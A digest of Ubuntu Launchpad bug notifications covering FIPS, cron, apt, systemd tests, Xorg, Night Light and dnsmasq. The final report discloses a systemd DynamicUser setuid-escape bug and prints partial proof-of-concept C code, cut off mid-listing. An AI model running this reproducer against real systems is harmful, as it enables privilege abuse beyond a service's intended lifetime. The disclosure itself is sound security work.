  ubuntu@ip-172-31-60-238:~$ sudo add-apt-repository ppa:canonical-
  server/ua-client-daily

  ubuntu@ip-172-31-60-238:~$ sudo apt install ubuntu-advantage-pro
  ubuntu-advantage-tools

  ubuntu@ip-172-31-60-238:~$ ua version
  27.0-945~gedf4a7e~ubuntu18.04.1

  ubuntu@ip-172-31-60-238:~$ ua status
  SERVICE   ENTITLED  STATUSDESCRIPTION
  cis-audit no— Center for Internet Security Audit Tools
  esm-infra yes   enabled   UA Infra: Extended Security Maintenance
  fips  yes   enabled   NIST-certified FIPS modules
  fips-updates  no— Uncertified security updates to FIPS modules
  livepatch yes   n/a   Canonical Livepatch service
  [...]

  ubuntu@ip-172-31-60-238:~$ sudo ua disable fips
  This will disable access to certified FIPS packages.
  Are you sure? (y/N) y
  Could not enable FIPS.

  ubuntu@ip-172-31-60-238:~$ ua status
  SERVICE   ENTITLED  STATUSDESCRIPTION
  cis-audit no— Center for Internet Security Audit Tools
  esm-infra yes   enabled   UA Infra: Extended Security Maintenance
  fips  yes   enabled   NIST-certified FIPS modules
  fips-updates  no— Uncertified security updates to FIPS modules
  livepatch yes   n/a   Canonical Livepatch service
  [...]

  I tried rebooting after but I'm still running the fips kernel and fips
  is enabled:

  ubuntu@ip-172-31-60-238:~$ uname -a
  Linux ip-172-31-60-238 4.15.0-2000-aws-fips #4-Ubuntu SMP Tue Jan 28 12:41:43 
UTC 2020 x86_64 x86_64 x86_64 GNU/Linux

  ubuntu@ip-172-31-60-238:~$ cat /proc/sys/crypto/fips_enabled
  1

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/ifupdown/+bug/1916773/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1916773] [NEW] ua disable fips doesn't work in ua client 27

[David Coronel]

Public bug reported:

I'm trying to disable FIPS from an Ubuntu Pro FIPS 18.04 image in AWS. I
updated to the latest ua client in the daily PPA.  I have a prompt to
disable it but it fails:

ubuntu@ip-172-31-60-238:~$ sudo add-apt-repository ppa:canonical-server
/ua-client-daily

ubuntu@ip-172-31-60-238:~$ sudo apt install ubuntu-advantage-pro ubuntu-
advantage-tools

ubuntu@ip-172-31-60-238:~$ ua version
27.0-945~gedf4a7e~ubuntu18.04.1

ubuntu@ip-172-31-60-238:~$ ua status
SERVICE   ENTITLED  STATUSDESCRIPTION
cis-audit no— Center for Internet Security Audit Tools
esm-infra yes   enabled   UA Infra: Extended Security Maintenance
fips  yes   enabled   NIST-certified FIPS modules
fips-updates  no— Uncertified security updates to FIPS modules
livepatch yes   n/a   Canonical Livepatch service
[...]

ubuntu@ip-172-31-60-238:~$ sudo ua disable fips
This will disable access to certified FIPS packages.
Are you sure? (y/N) y
Could not enable FIPS.

ubuntu@ip-172-31-60-238:~$ ua status
SERVICE   ENTITLED  STATUSDESCRIPTION
cis-audit no— Center for Internet Security Audit Tools
esm-infra yes   enabled   UA Infra: Extended Security Maintenance
fips  yes   enabled   NIST-certified FIPS modules
fips-updates  no— Uncertified security updates to FIPS modules
livepatch yes   n/a   Canonical Livepatch service
[...]

I tried rebooting after but I'm still running the fips kernel and fips
is enabled:

ubuntu@ip-172-31-60-238:~$ uname -a
Linux ip-172-31-60-238 4.15.0-2000-aws-fips #4-Ubuntu SMP Tue Jan 28 12:41:43 
UTC 2020 x86_64 x86_64 x86_64 GNU/Linux

ubuntu@ip-172-31-60-238:~$ cat /proc/sys/crypto/fips_enabled
1

** Affects: ifupdown (Ubuntu)
 Importance: Undecided
 Status: Invalid

** Changed in: ifupdown (Ubuntu)
   Status: New => Invalid

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to ifupdown in Ubuntu.
https://bugs.launchpad.net/bugs/1916773

Title:
  ua disable fips doesn't work in ua client 27

Status in ifupdown package in Ubuntu:
  Invalid

Bug description:
  I'm trying to disable FIPS from an Ubuntu Pro FIPS 18.04 image in AWS.
  I updated to the latest ua client in the daily PPA.  I have a prompt
  to disable it but it fails:

  ubuntu@ip-172-31-60-238:~$ sudo add-apt-repository ppa:canonical-
  server/ua-client-daily

  ubuntu@ip-172-31-60-238:~$ sudo apt install ubuntu-advantage-pro
  ubuntu-advantage-tools

  ubuntu@ip-172-31-60-238:~$ ua version
  27.0-945~gedf4a7e~ubuntu18.04.1

  ubuntu@ip-172-31-60-238:~$ ua status
  SERVICE   ENTITLED  STATUSDESCRIPTION
  cis-audit no— Center for Internet Security Audit Tools
  esm-infra yes   enabled   UA Infra: Extended Security Maintenance
  fips  yes   enabled   NIST-certified FIPS modules
  fips-updates  no— Uncertified security updates to FIPS modules
  livepatch yes   n/a   Canonical Livepatch service
  [...]

  ubuntu@ip-172-31-60-238:~$ sudo ua disable fips
  This will disable access to certified FIPS packages.
  Are you sure? (y/N) y
  Could not enable FIPS.

  ubuntu@ip-172-31-60-238:~$ ua status
  SERVICE   ENTITLED  STATUSDESCRIPTION
  cis-audit no— Center for Internet Security Audit Tools
  esm-infra yes   enabled   UA Infra: Extended Security Maintenance
  fips  yes   enabled   NIST-certified FIPS modules
  fips-updates  no— Uncertified security updates to FIPS modules
  livepatch yes   n/a   Canonical Livepatch service
  [...]

  I tried rebooting after but I'm still running the fips kernel and fips
  is enabled:

  ubuntu@ip-172-31-60-238:~$ uname -a
  Linux ip-172-31-60-238 4.15.0-2000-aws-fips #4-Ubuntu SMP Tue Jan 28 12:41:43 
UTC 2020 x86_64 x86_64 x86_64 GNU/Linux

  ubuntu@ip-172-31-60-238:~$ cat /proc/sys/crypto/fips_enabled
  1

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/ifupdown/+bug/1916773/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1779767] Re: Default cron PATH does not include /snap/bin

[Julian Andres Klode]

** Also affects: anacron (Ubuntu)
   Importance: Undecided
   Status: New

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to cron in Ubuntu.
https://bugs.launchpad.net/bugs/1779767

Title:
  Default cron PATH does not include /snap/bin

Status in anacron package in Ubuntu:
  New
Status in cron package in Ubuntu:
  Confirmed
Status in anacron source package in Bionic:
  New
Status in cron source package in Bionic:
  New
Status in anacron source package in Focal:
  New
Status in cron source package in Focal:
  New
Status in anacron source package in Groovy:
  New
Status in cron source package in Groovy:
  New
Status in anacron source package in Hirsute:
  New
Status in cron source package in Hirsute:
  Confirmed

Bug description:
  I recently changed from a .deb install of LXD to a snap, and was
  surprised that one of my crontab scripts stopped working.

  I see that $PATH in a cron script only contains "/usr/bin:/bin",
  whereas my default shell also includes "/snap/bin".

  It seems to me that for the best user experience with snaps,
  "/snap/bin" should be part of the default $PATH in cron.

  ProblemType: Bug
  DistroRelease: Ubuntu 18.04
  Package: cron 3.0pl1-128.1ubuntu1
  ProcVersionSignature: Ubuntu 4.15.0-20.21-generic 4.15.17
  Uname: Linux 4.15.0-20-generic x86_64
  NonfreeKernelModules: kpatch_livepatch_Ubuntu_4_15_0_20_21_generic_40 
kpatch_livepatch_Ubuntu_4_15_0_20_21_generic_39 
livepatch_livepatch_Ubuntu_4_15_0_20_21_generic_ zfs zunicode zavl icp zcommon 
znvpair
  ApportVersion: 2.20.9-0ubuntu7.2
  Architecture: amd64
  CurrentDesktop: ubuntu:GNOME
  Date: Mon Jul  2 14:30:06 2018
  InstallationDate: Installed on 2017-12-20 (194 days ago)
  InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Alpha amd64 (20171219)
  ProcEnviron:
   TERM=xterm-256color
   PATH=(custom, no user)
   XDG_RUNTIME_DIR=
   LANG=en_US.UTF-8
   SHELL=/bin/bash
  SourcePackage: cron
  UpgradeStatus: No upgrade log present (probably fresh install)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/anacron/+bug/1779767/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1876035] Re: Automatically retry downloads on failures

[Julian Andres Klode]

** No longer affects: apt (Ubuntu Groovy)

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apt in Ubuntu.
https://bugs.launchpad.net/bugs/1876035

Title:
  Automatically retry downloads on failures

Status in apt package in Ubuntu:
  Triaged

Bug description:
  Hi,

  We operate archive.ubuntu.com as well as mirrors of it in various
  places. We're getting reports of various CI/CD jobs failing. Sometimes
  due to routing issues, issues with overloaded servers/VMs hosting
  archive, etc.

  Any chance we can make '-o Acquire::Retries=3' the default for 'apt-
  get update/install/dist-upgrade'? Preferably with a randomised skew
  between retries.

  Also, any chance of having apt-get retry with different IPs/hosts
  returned from the DNS lookup? (e.g. for archive.ubuntu.com -
  91.189.88.142, 91.189.88.152, ...).

  Thanks.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apt/+bug/1876035/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1915126] Re: autopkgtest times out (or fails before that) in hirsute on test infra, passes locally

[Balint Reczey]

@paelzer I haven't made changes related to the failure rate. I guess the
infra got lighter load for some time.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1915126

Title:
  autopkgtest times out (or fails before that) in hirsute on test infra,
  passes locally

Status in Auto Package Testing:
  Incomplete
Status in systemd package in Ubuntu:
  Invalid

Bug description:
  Hi,
  I've asked yesterday on IRC but so far got no answer. I think it is right to 
file a bug about the current state of systemd autopkgtest to unite the efforts 
in regard to it.

  I was looking at the systemd tests for a no-change rebuild that really
  had no reason to now make it fail. While checking I found that as of
  this month (first bad test on 1st of February) most of the systemd
  test runs on amd64 will not pass/fail but instead in most cases time
  out.

  I've seen various people retry the case as it shows the typical
  symptoms of a "not the fault of the package, let us retry this" case.
  But it seems that won't help as the test history is rather clear.

  
  * Watch this in monospace to make more sense of it *

  $ check-autopkgtest-stats.sh -c 50 -p systemd -r "hirsute" -a "amd64"
  Check last 50 test results for src:systemd on releases 'hirsute' on 
architectures 'amd64'
  Of the 50 last tests, we had these subtest failing per release/arch:

  hirsute
amd64
  tests-in-lxd   (F  2% f  0% S  0% B 12% => P 52%/) 
.BTTTBTT.BTBTTTBBTTT..F..
  hostnamed  (F  0% f  0% S  0% B 12% => P 54%/) 
.BTTTBTT.BTBTTTBBTTT.
  build-login(F  0% f  0% S  0% B 12% => P 54%/) 
.BTTTBTT.BTBTTTBBTTT.
  unit-config(F  0% f  0% S  0% B 12% => P 54%/) 
.BTTTBTT.BTBTTTBBTTT.
  networkd-testpy(F  0% f  0% S  0% B 12% => P 54%/) 
.BTTTBTT.BTBTTTBBTTT.
  localed-locale (F  0% f  0% S  0% B 12% => P 54%/) 
.BTTTBTT.BTBTTTBBTTT.
  boot-and-services  (F  4% f  0% S  0% B 12% => P 50%/) 
.BTTTBTT.BTBTTTBBTTT...F.F...
  timedated  (F  0% f  0% S  0% B 12% => P 54%/) 
.BTTTBTT.BTBTTTBBTTT.
  boot-smoke (F  0% f  0% S  0% B 12% => P 54%/) 
.BTTTBTT.BTBTTTBBTTT.
  logind (F  0% f  0% S  0% B 12% => P 54%/) 
.BTTTBTT.BTBTTTBBTTT.
  storage(F  0% f  0% S  0% B 12% => P 54%/) 
.BTTTBTT.BTBTTTBBTTT.
  upstream   (F 12% f  0% S  0% B 12% => P 42%/) 
.BTTTBTT.BTBTTTBBTTTF.F.F..FF..F.
  udev   (F  0% f  0% S  0% B 12% => P 54%/) 
.BTTTBTT.BTBTTTBBTTT.
  systemd-fsckd  (F  8% f  0% S  0% B 12% => P 46%/) 
FBTTTBTTFBTBTTTBBTTT.F..F
  root-unittests (F  0% f  0% S  0% B 12% => P 54%/) 
.BTTTBTT.BTBTTTBBTTT.
  localed-x11-keymap (F  0% f  0% S  0% B 12% => P 54%/) 
.BTTTBTT.BTBTTTBBTTT.

  We see that formerly we had the known to be somewhat flaky, but
  otherwise working test (time goes from right to left). So we had the
  usual suspects of tests like upstream/systemd-fsck that failed a few
  times, but also working runs in between.

  But since February 22/24 runs failed very bad.
  6 (=B) of those cases are aborting mid execution
autopkgtest [22:08:58]: ERROR: testbed failure: testbed auxverb failed with 
exit code 255
  And 16 of them timed out
: failure: Timed out on waiting for ssh connection

  Sadly the 2/24 that didn't hard fail by that where broken by the known
  flaky systemd-fsckd test.

  Something drives this test crazy that we have to find and resolve, at
  the current rate nothing depending on it is likely to migrate.

To manage notifications about this bug go to:
https://bugs.launchpad.net/auto-package-testing/+bug/1915126/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1916765] [NEW] Xorg memory leak

[El Burro]

Public bug reported:

Ubuntu Version: 20.10 groovy
Xorg Version: ii  xorg   1:7.7+19ubuntu15 amd64X.Org X 
Window System

xorg seems to have a memory leak - usage grows from 200mb of memory to
fill all available memory (several GBs)

ps -o pid,user,%mem,command ax | grep Xorg
   1071 root  5.6 /usr/lib/xorg/Xorg -core :0 -seat seat0 -auth 
/var/run/lightdm/root/:0 -nolisten tcp vt7 -novtswitch

1071:   /usr/lib/xorg/Xorg -core :0 -seat seat0 -auth /var/run/lightdm/root/:0 
-nolisten tcp vt7 -novtswitch
55bd3ad76000244K r Xorg
55bd3adb3000   1632K r-x-- Xorg
55bd3af4b000480K r Xorg
55bd3afc4000 16K r Xorg
55bd3afc8000 44K rw--- Xorg
55bd3afd3000128K rw---   [ anon ]
55bd3ba2b000 611340K rw---   [ anon ]
7f572dd68000  12288K rw-s-   [ anon ]
7f572e968000  10240K rw-s-   [ anon ]
7f5731468000 131072K rw-s-   [ shmid=0x2c8018 ]
7f5739468000  24576K rw-s-   [ anon ]
7f573ac68000  14336K rw-s-   [ anon ]
7f573ba68000  14336K rw-s-   [ anon ]
7f573c868000  24576K rw-s-   [ anon ]
7f573e068000  24576K rw-s-   [ anon ]
7f573f868000  24576K rw-s-   [ anon ]
7f5742a68000  24576K rw-s-   [ anon ]
7f5744368000   5120K rw-s-   [ anon ]
7f5745af8000  24000K rw-s- memfd:xorg (deleted)
7f5747268000 131072K rw-s-   [ shmid=0x1a8017 ]
7f574f268000  24576K rw-s-   [ anon ]
7f5750a68000  24576K rw-s-   [ anon ]
7f5752268000 262144K rw-s-   [ shmid=0x28022 ]
7f5762e1e000  12020K rw-s-   [ shmid=0xe000a ]
7f57639db000  12020K rw-s-   [ shmid=0xe0009 ]
7f5765198000  11072K rw-s-   [ shmid=0x9001e ]
7f5765d3  12288K rw-s-   [ anon ]
7f576693  10240K rw-s-   [ anon ]
7f576733  11072K rw-s-   [ shmid=0x9001d ]
7f5767e0  10240K rw-s-   [ anon ]
7f576900   8192K rw-s-   [ anon ]
7f576980   4096K rw-s-   [ shmid=0x90004 ]
7f5769d66000   6760K rw---   [ anon ]
7f576a40  12288K rw-s-   [ anon ]
7f576b4d8000   5120K rw-s-   [ anon ]
7f576c0d8000  12288K rw-s-   [ anon ]
7f576cdd8000  12288K rw-s-   [ anon ]
7f576e2d8000   8192K rw-s-   [ anon ]
7f576ead8000800K rw-s-   [ shmid=0x20032 ]
7f576ed8f000   2628K rw-s-   [ shmid=0x130029 ]
7f576f80 262144K rw-s-   [ shmid=0x2e ]
7f577f848000784K rw-s-   [ shmid=0x2002f ]
7f577fa0   2560K rw-s-   [ anon ]
7f578018   7168K rw-s-   [ anon ]
7f578088   2560K rw-s-   [ anon ]
7f5780b0   4096K rw-s-   [ shmid=0x5003e ]
7f578100  24576K rw-s-   [ anon ]
7f57828ef000   2628K rw-s-   [ shmid=0x130027 ]
7f5782cd6000   1280K rw-s-   [ anon ]
7f5782e16000   1280K rw-s-   [ anon ]
7f57831b6000896K rw-s-   [ anon ]
7f5783296000   6568K rw-s- memfd:xorg (deleted)
7f578390   7168K rw-s-   [ anon ]
7f578400132K rw---   [ anon ]
7f5784021000  65404K -   [ anon ]
7f578800132K rw---   [ anon ]
7f5788021000  65404K -   [ anon ]
7f578c00132K rw---   [ anon ]
7f578c021000  65404K -   [ anon ]
7f57900be000896K rw-s-   [ anon ]
7f57901a8000   1280K rw-s-   [ anon ]
7f57902e8000512K rw-s-   [ shmid=0x9801a ]
7f57903e8000196K rw-s-   [ shmid=0x98001 ]
7f5790469000212K rw-s-   [ shmid=0x68036 ]
7f57905ca000196K rw-s-   [ shmid=0x98002 ]
7f57905fb000220K rw-s-   [ shmid=0x88016 ]
7f579066a000256K rw-s-   [ anon ]
7f57906aa000784K rw-s-   [ shmid=0x20030 ]
7f579077e000512K rw-s-   [ shmid=0x58039 ]
7f57907fe000   4096K rw-s-   [ shmid=0x15 ]
7f5790dae000512K rw-s-   [ shmid=0x320006 ]
7f5790e6e000   2048K rw-s-   [ shmid=0x23000e ]
7f579110e000800K rw-s-   [ shmid=0x20031 ]
7f579126e000320K rw-s-   [ anon ]
7f57913fe000   4096K rw-s-   [ shmid=0x2d ]
7f579199d000   3584K rw-s-   [ anon ]
7f5791d1d000640K rw-s-   [ anon ]
7f5791e1d000   1024K rw-s-   [ anon ]
7f5791f9d000512K rw-s-   [ shmid=0x31001f ]
7f579201d000768K rw-s-   [ anon ]
7f5792147000320K rw-s-   [ anon ]
7f5792217000512K rw-s-   [ anon ]
7f5792297000  8K rw-s-   [ anon ]
7f579229d000512K rw-s-   [ shmid=0x2c8011 ]
7f579232d000 64K rw-s-   [ anon ]
7f579236d000896K rw-s-   [ anon ]
7f579244e000732K rw-s-   [ shmid=0x2f8010 ]
7f579252f000320K rw-s-   [ anon ]
7f57925c5000384K rw-s-   [ anon ]
7f5792675000388K rw-s-   [ shmid=0x340044 ]
7f57926d6000320K rw-s-   [ anon ]
7f5792726000   1280K rw-s-   [ anon ]
7f5792866000  8K rw-s-   [ anon ]
7f579288f000732K rw-s-   [ shmid=0x2f8013 ]
7f5792964000320K rw-s-   [ anon ]
7f57929b4000  8K rw-s-   [ anon ]
7f57929b6000  8K rw-s-   [ anon ]
7f5792a3  8K rw-s-   [ anon ]
7f5792a32000  8K rw-s-   [ anon ]
7f5792a34000  8K rw-s-   [ 

[Touch-packages] [Bug 1916763] [NEW] Night Light setting only working for a few seconds then It's gone

[Newt Llewellyn]

Public bug reported:

1. Ubuntu info is listed blow:

```
Description:Ubuntu 20.04.2 LTS
Release:20.04
```

2. the `gnome-control-center` package version is
```
gnome-control-center:
  已安装：1:3.36.5-0ubuntu1
  候选： 1:3.36.5-0ubuntu1
  版本列表：
 *** 1:3.36.5-0ubuntu1 500
500 http://mirrors.tuna.tsinghua.edu.cn/ubuntu focal-updates/main amd64 
Packages
100 /var/lib/dpkg/status
 1:3.36.1-1ubuntu5 500
500 http://mirrors.tuna.tsinghua.edu.cn/ubuntu focal/main amd64 Packages

```

3. I expect when the Night Light settings are set, then it should be
working as specified.

4. Instead the Night Light settings only work for a few seconds, and
then it went back to the original display state as if Night Light is not
enabled.

This only happens when I'm booting with kernel 5.4.0-66-generic, and
everything works like a charm when booting with kernel 5.4.0-65-generic.

Please help looking into this.

ProblemType: Bug
DistroRelease: Ubuntu 20.04
Package: xorg 1:7.7+19ubuntu14
ProcVersionSignature: Ubuntu 5.4.0-66.74-generic 5.4.86
Uname: Linux 5.4.0-66-generic x86_64
ApportVersion: 2.20.11-0ubuntu27.16
Architecture: amd64
BootLog: Error: [Errno 13] 权限不够: '/var/log/boot.log'
CasperMD5CheckResult: skip
CompositorRunning: None
CurrentDesktop: ubuntu:GNOME
Date: Wed Feb 24 22:43:23 2021
DistUpgraded: 2020-08-01 23:39:12,134 DEBUG refresh of snap gtk-common-themes 
succeeded
DistroCodename: focal
DistroVariant: ubuntu
ExtraDebuggingInterest: Yes, including running git bisection searches
GraphicsCard:
 Intel Corporation Haswell-ULT Integrated Graphics Controller [8086:0a16] (rev 
0b) (prog-if 00 [VGA controller])
   Subsystem: Lenovo Haswell-ULT Integrated Graphics Controller [17aa:5021]
   Subsystem: Lenovo Radeon R7 M260 [17aa:5021]
InstallationDate: Installed on 2019-11-04 (478 days ago)
InstallationMedia: Ubuntu 18.04.3 LTS "Bionic Beaver" - Release amd64 (20190805)
MachineType: LENOVO 20EH0001CD
ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.4.0-66-generic 
root=UUID=e96f932e-c0e2-496e-b84d-653876b6b3ea ro quiet splash vt.handoff=7
SourcePackage: xorg
Symptom: display
UpgradeStatus: Upgraded to focal on 2020-08-01 (206 days ago)
dmi.bios.date: 11/20/2015
dmi.bios.vendor: LENOVO
dmi.bios.version: J5ET50WW (1.21 )
dmi.board.asset.tag: Not Available
dmi.board.name: 20EH0001CD
dmi.board.vendor: LENOVO
dmi.board.version: SDK0E50518 STD
dmi.chassis.asset.tag: No Asset Information
dmi.chassis.type: 10
dmi.chassis.vendor: LENOVO
dmi.chassis.version: None
dmi.modalias: 
dmi:bvnLENOVO:bvrJ5ET50WW(1.21):bd11/20/2015:svnLENOVO:pn20EH0001CD:pvrThinkPadE450c:rvnLENOVO:rn20EH0001CD:rvrSDK0E50518STD:cvnLENOVO:ct10:cvrNone:
dmi.product.family: ThinkPad E450c
dmi.product.name: 20EH0001CD
dmi.product.sku: LENOVO_MT_20EH_BU_Think_FM_ThinkPad E450c
dmi.product.version: ThinkPad E450c
dmi.sys.vendor: LENOVO
version.compiz: compiz N/A
version.libdrm2: libdrm2 2.4.102-1ubuntu1~20.04.1
version.libgl1-mesa-dri: libgl1-mesa-dri 20.2.6-0ubuntu0.20.04.1
version.libgl1-mesa-glx: libgl1-mesa-glx 20.2.6-0ubuntu0.20.04.1
version.xserver-xorg-core: xserver-xorg-core 2:1.20.9-2ubuntu1.2~20.04.1
version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A
version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:19.1.0-1
version.xserver-xorg-video-intel: xserver-xorg-video-intel 
2:2.99.917+git20200226-1
version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.16-1

** Affects: gnome-control-center (Ubuntu)
 Importance: Undecided
 Status: New


** Tags: amd64 apport-bug focal gnome-control-center ubuntu

** Package changed: xorg (Ubuntu) => gnome-control-center (Ubuntu)

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to xorg in Ubuntu.
https://bugs.launchpad.net/bugs/1916763

Title:
  Night Light setting only working for a few seconds then It's gone

Status in gnome-control-center package in Ubuntu:
  New

Bug description:
  1. Ubuntu info is listed blow:

  ```
  Description:  Ubuntu 20.04.2 LTS
  Release:  20.04
  ```

  2. the `gnome-control-center` package version is
  ```
  gnome-control-center:
已安装：1:3.36.5-0ubuntu1
候选： 1:3.36.5-0ubuntu1
版本列表：
   *** 1:3.36.5-0ubuntu1 500
  500 http://mirrors.tuna.tsinghua.edu.cn/ubuntu focal-updates/main 
amd64 Packages
  100 /var/lib/dpkg/status
   1:3.36.1-1ubuntu5 500
  500 http://mirrors.tuna.tsinghua.edu.cn/ubuntu focal/main amd64 
Packages

  ```

  3. I expect when the Night Light settings are set, then it should be
  working as specified.

  4. Instead the Night Light settings only work for a few seconds, and
  then it went back to the original display state as if Night Light is
  not enabled.

  This only happens when I'm booting with kernel 5.4.0-66-generic, and
  everything works like a charm when booting with kernel
  5.4.0-65-generic.

  Please help looking into this.

  ProblemType: Bug
  DistroRelease: Ubuntu 20.04
  Package: xorg 

[Touch-packages] [Bug 1916462] Re: dnsmasq failed to send packet: Network is unreachable

[Launchpad Bug Tracker]

This bug was fixed in the package dnsmasq - 2.82-1ubuntu1.2

---
dnsmasq (2.82-1ubuntu1.2) groovy-security; urgency=medium

  * SECURITY REGRESSION: issue with multiple queries and issue with retries
(LP: #1916462)
- backport multiple upstream commits to fix regressions
  + 04490bf622ac84891aad6f2dd2edf83725decdee
  + 12af2b171de0d678d98583e2190789e50e02
  + 3f535da79e7a42104543ef5c7b5fa2bed819a78b
  + 25e63f1e56f5acdcf91893a1b92ad1e0f2f552d8
  + 141a26f979b4bc959d8e866a295e24f8cf456920
  + 305cb79c5754d5554729b18a2c06fe7ce699687a

 -- Marc Deslauriers   Tue, 23 Feb 2021
07:52:53 -0500

** Changed in: dnsmasq (Ubuntu)
   Status: New => Fix Released

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to dnsmasq in Ubuntu.
https://bugs.launchpad.net/bugs/1916462

Title:
  dnsmasq failed to send packet: Network is unreachable

Status in dnsmasq package in Ubuntu:
  Fix Released

Bug description:
  the log shows this:

  Feb 22 09:37:53 myserver dnsmasq[2259]: failed to send packet: Network
  is unreachable

  repeatedly and frequently.

  This is a known bug in dnsmasq and has been fixed upstream (according
  to the thread quoted below). Apparently it is IPv6 related and
  triggered by Windows and Mac clients. An extensive thread on the
  subject is here on the OpenWRT forum:

  https://forum.openwrt.org/t/security-advisory-2021-01-19-1-dnsmasq-
  multiple-vulnerabilities/85903/123

  I think this has been reported in the fallout of the quoted security
  vulnerabilities. I don't think it is a security vulnerability in
  itself.

  dnsmasq version: 2.80-1.1ubuntu1.2

  ProblemType: Bug
  DistroRelease: Ubuntu 20.04
  Package: dnsmasq 2.80-1.1ubuntu1.2
  Uname: Linux 5.4.98-219 armv7l
  ApportVersion: 2.20.11-0ubuntu27.16
  Architecture: armhf
  CasperMD5CheckResult: skip
  Date: Mon Feb 22 09:34:12 2021
  PackageArchitecture: all
  ProcEnviron:
   TERM=xterm
   PATH=(custom, no user)
   XDG_RUNTIME_DIR=
   LANG=en_GB.UTF-8
   SHELL=/bin/bash
  SourcePackage: dnsmasq
  UpgradeStatus: Upgraded to focal on 2020-11-15 (98 days ago)
  modified.conffile..etc.default.dnsmasq: [modified]
  mtime.conffile..etc.default.dnsmasq: 2018-06-27T16:10:40.086905

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/dnsmasq/+bug/1916462/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1814596] Re: DynamicUser can create setuid binaries when assisted by another process

[Dan Streetman]

This appears to already be fixed; when running the reproducer it fails
to fchmod:

Feb 24 13:11:24 lp1814596-b breakout_assisted[16574]: got rootfd from other 
chroot...
Feb 24 13:11:24 lp1814596-b breakout_assisted[16574]: chdir successful, am now 
in /home/ubuntu/systemd_uidleak
Feb 24 13:11:24 lp1814596-b breakout_assisted[16574]: breakout_assisted: 
fchmod: Operation not permitted


** Changed in: systemd (Ubuntu Bionic)
   Status: New => Fix Released

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1814596

Title:
  DynamicUser can create setuid binaries when assisted by another
  process

Status in systemd package in Ubuntu:
  Fix Released
Status in systemd source package in Bionic:
  Fix Released
Status in systemd source package in Disco:
  Won't Fix

Bug description:
  [I am sending this bug report to Ubuntu as requested by systemd at
  
.]

  This bug report describes a bug in systemd that allows a service with
  DynamicUser in collaboration with another service or user to create a setuid
  binary that can be used to access its UID beyond the lifetime of the service.
  This bug probably has relatively low severity, given that there aren't many
  services yet that use DynamicUser, and the requirement of collaboration with
  another process limits the circumstances in which it would be useful to an
  attacker further; but in a system that makes heavy use of DynamicUser, it 
would
  probably have impact.

  

  says:

  In order to allow the service to write to certain directories, they have 
to
  be whitelisted using ReadWritePaths=, but care must be taken so that 
UID/GID
  recycling doesn't create security issues involving files created by the
  service.

  While I was chatting about DynamicUser with catern on IRC, I noticed that
  DynamicUser doesn't isolate the service from the rest of the system in terms 
of
  UNIX domain sockets; therefore, if a collaborating user passes a file 
descriptor
  to a world-writable path outside the service's mount namespace into the
  service, the service can then create setuid files that can be used by the
  collaborating user beyond the lifetime of the service.

  
  To reproduce:

  As a user:
  ==
  user@deb10:~$ mkdir systemd_uidleak
  user@deb10:~$ cd systemd_uidleak
  user@deb10:~/systemd_uidleak$ cat > breakout_assisted.c
  #define _GNU_SOURCE
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 

  int main(void) {
setbuf(stdout, NULL);

// prepare unix domain socket
int s = socket(AF_UNIX, SOCK_DGRAM, 0);
if (s < 0) err(1, "unable to create unix domain socket");
struct sockaddr_un addr = {
  .sun_family = AF_UNIX,
  .sun_path = "\0breakout"
};
if (bind(s, (struct sockaddr *), sizeof(sa_family_t)+1+8))
  err(1, "unable to bind abstract socket");
puts("waiting for connection from outside the service...");

// receive fd to somewhere under the real root
int len = sizeof(struct cmsghdr) + sizeof(int);
struct cmsghdr *hdr = alloca(len);
struct msghdr msg = {
  .msg_control = hdr,
  .msg_controllen = len
};
if (recvmsg(s, , 0) < 0) err(1, "unable to receive fd");
if (hdr->cmsg_len != len || hdr->cmsg_level != SOL_SOCKET
|| hdr->cmsg_type != SCM_RIGHTS)
  errx(1, "got bad message");
puts("got rootfd from other chroot...");
if (fchdir(*(int*)CMSG_DATA(hdr))) err(1, "unable to change into real 
root");
char curpath[4096];
